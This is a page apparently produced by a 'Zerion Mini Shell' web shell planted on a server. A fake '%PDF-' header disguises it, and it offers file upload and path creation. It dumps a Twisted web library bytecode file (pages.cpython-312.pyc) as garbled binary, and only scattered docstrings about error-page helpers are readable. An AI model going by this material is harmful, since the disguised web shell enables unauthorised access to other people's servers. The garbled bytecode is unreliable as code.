%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /lib/python3/dist-packages/twisted/web/__pycache__/
Upload File :
Create Path :
Current File : //lib/python3/dist-packages/twisted/web/__pycache__/pages.cpython-312.pyc

�

Ϫ�f����dZdZddlmZddlmZddlmZmZddl	m
Z
mZddlm
Z
mZGd�d	e�Zd
ededed
efd�Z		ddeded
e
fd�Z	ddeded
e
fd�Zy)z*
Utility implementations of L{IResource}.
)�	errorPage�notFound�	forbidden�)�cast)�http)�IRenderable�IRequest)�	IResource�Resource)�
renderElement�tagsc�X��eZdZdZdedededdf�fd�Zdedefd	�Z	d
e
dedefd�Z�xZ
S)�
_ErrorPagea!
    L{_ErrorPage} is a resource that responds to all requests with a particular
    (parameterized) HTTP status code and an HTML body containing some
    descriptive text. This is useful for rendering simple error pages.

    @see: L{twisted.web.pages.errorPage}

    @ivar _code: An integer HTTP status code which will be used for the
        response.

    @ivar _brief: A short string which will be included in the response body as
        the page title.

    @ivar _detail: A longer string which will be included in the response body.
    �code�brief�detail�returnNc�L��t�|��||_||_||_y)N)�super�__init__�_code�_brief�_detail)�selfrrr�	__class__s    ��3/usr/lib/python3/dist-packages/twisted/web/pages.pyrz_ErrorPage.__init__(s#���
������
� ���"����requestc���|j|j�|jdd�t|t	t
t
jt
jt
j|j�d|j����t
jt
j|j�t
j|j�����S)z�
        Respond to all requests with the given HTTP status code and an HTML
        document containing the explanatory strings.
        scontent-typestext/html; charset=utf-8z - )�setResponseCoder�	setHeaderrrrr
�html�head�titler�body�h1�pr)rrs  r�renderz_ErrorPage.render.s���
	����
�
�+����/�+F�G���
���	�	��I�I�d�j�j�D�J�J�<�s�4�;�;�-�)H�I�J��I�I�d�g�g�d�k�k�2�D�F�F�4�<�<�4H�I��
�
�	
r�pathc��|S)z�
        Handle all requests for which L{_ErrorPage} lacks a child by returning
        this error page.

        @param path: A path segment.

        @param request: HTTP request
        �)rr)rs   r�getChildz_ErrorPage.getChildCs	���r)�__name__�
__module__�__qualname__�__doc__�int�strrr	�objectr(�bytesrr,�
__classcell__)rs@rrrsV���� #�S�#��#�c�#�d�#�
�h�
�6�
�*	�U�	�X�	�(�	rrrrrrc��t|||�S)az
    Build a resource that responds to all requests with a particular HTTP
    status code and an HTML body containing some descriptive text. This is
    useful for rendering simple error pages.

    The resource dynamically handles all paths below it. Use
    L{IResource.putChild()} to override a specific path.

    @param code: An integer HTTP status code which will be used for the
        response.

    @param brief: A short string which will be included in the response
        body as the page title.

    @param detail: A longer string which will be included in the
        response body.

    @returns: An L{IResource}
    )r)rrrs   rrrOs��(�d�E�6�*�*r�messagec�8�ttj||�S)a
    Generate an L{IResource} with a 404 Not Found status code.

    @see: L{twisted.web.pages.errorPage}

    @param brief: A short string displayed as the page title.

    @param brief: A longer string displayed in the page body.

    @returns: An L{IResource}
    )rr�	NOT_FOUND�rr7s  rrrfs���d�n�n�e�W�5�5rc�8�ttj||�S)a
    Generate an L{IResource} with a 403 Forbidden status code.

    @see: L{twisted.web.pages.errorPage}

    @param brief: A short string displayed as the page title.

    @param brief: A longer string displayed in the page body.

    @returns: An L{IResource}
    )rr�	FORBIDDENr:s  rrrxs���d�n�n�e�W�5�5rN)zNo Such Resourcez%Sorry. No luck finding that resource.)zForbidden ResourcezSorry, resource is forbidden.)r0�__all__�typingr�twisted.webr�twisted.web.iwebrr	�twisted.web.resourcer
r�twisted.web.templaterr
rr1r2rrrr+rr�<module>rCs���
�����2�4�4�5��5�p+�C�+��+�S�+�Z�+�0$�:�6��6�
�6��6�&7V�6��6�03�6��6r

Zerion Mini Shell 1.0